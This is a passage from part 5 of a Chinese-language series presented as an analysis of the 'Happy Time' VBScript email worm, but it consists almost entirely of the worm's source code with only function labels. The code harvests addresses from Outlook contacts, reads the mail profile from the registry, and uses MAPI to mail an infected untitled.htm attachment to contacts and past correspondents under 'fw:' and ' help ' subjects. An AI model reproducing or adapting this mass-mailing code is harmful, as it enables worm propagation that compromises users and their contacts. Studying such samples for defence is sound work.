欢乐时光病毒原码分析[5]

> end if
> end if
> loop
> ml = split(adds, vbcrlf)
> end function
> function og()                             ---------------og函数
> dim i, n, m(), om, oo
> set oo = createobject("outlook.application")
> set om = oo.getnamespace("mapi").getdefaultfolder(10).items
> n = om.count
> redim m(n)
> for i = 1 to n
> m(i - 1) = om.item(i).email1address
> next
> og = m
> end function
> sub tsend()                                ------------------tsend过程
> dim od, ms, mm, a, m
> set od = createobject("scripting.dictionary")
> mconnect ms, mm
> mm.fetchsorted = true
> mm.fetch
> for i = 0 to mm.msgcount - 1
> mm.msgindex = i
> a = mm.msgorigaddress
> if od.item(a) = "" then
> od.item(a) = mm.msgsubject
> end if
> next
> for each m in od.keys
> mm.compose
> mm.msgsubject = "fw: " & od.item(m)
> mm.recipaddress = m
> mm.attachmentpathname = gsf & "\untitled.htm"
> mm.send
> next
> ms.signoff
> end sub
> function mconnect(ms, mm)                            ------------------mconnect函数
> dim u
> on error resume next
> set ms = createobject("msmapi.mapisession")
> set mm = createobject("msmapi.mapimessages")
> u = rg("hkey_current_user\software\microsoft\windows messaging subsystem\profiles\defaultprofile")
> ms.username = u
> ms.downloadmail = false
> ms.newsession = false
> ms.logonui = true
> ms.signon
> mm.sessionid = ms.sessionid
> end function
> sub msend(address)                           -------------------msend 过程
> dim ms, mm, i, a
> mconnect ms, mm
> i = 0
> mm.compose
> for each a in address
> if ismail(a) then
> mm.recipindex = i
> mm.recipaddress = a
> i = i + 1
> end if
> next
> mm.msgsubject = " help "
> mm.attachmentpathname = gsf & "\untitled.htm"
> mm.send
> ms.signoff
> end sub
> function er()                                --------------------er函数
> if err.number = 0 then
> er = false
> else
> err.clear
> er = true
> end if
> end function
> function isdel(s)                                -------------------isdel函数
> if mid(s, 4, 1) = 1 then
> isdel = true
> else
> isdel = false
> end if
> end function
>
>
>
> </script>
>
> -->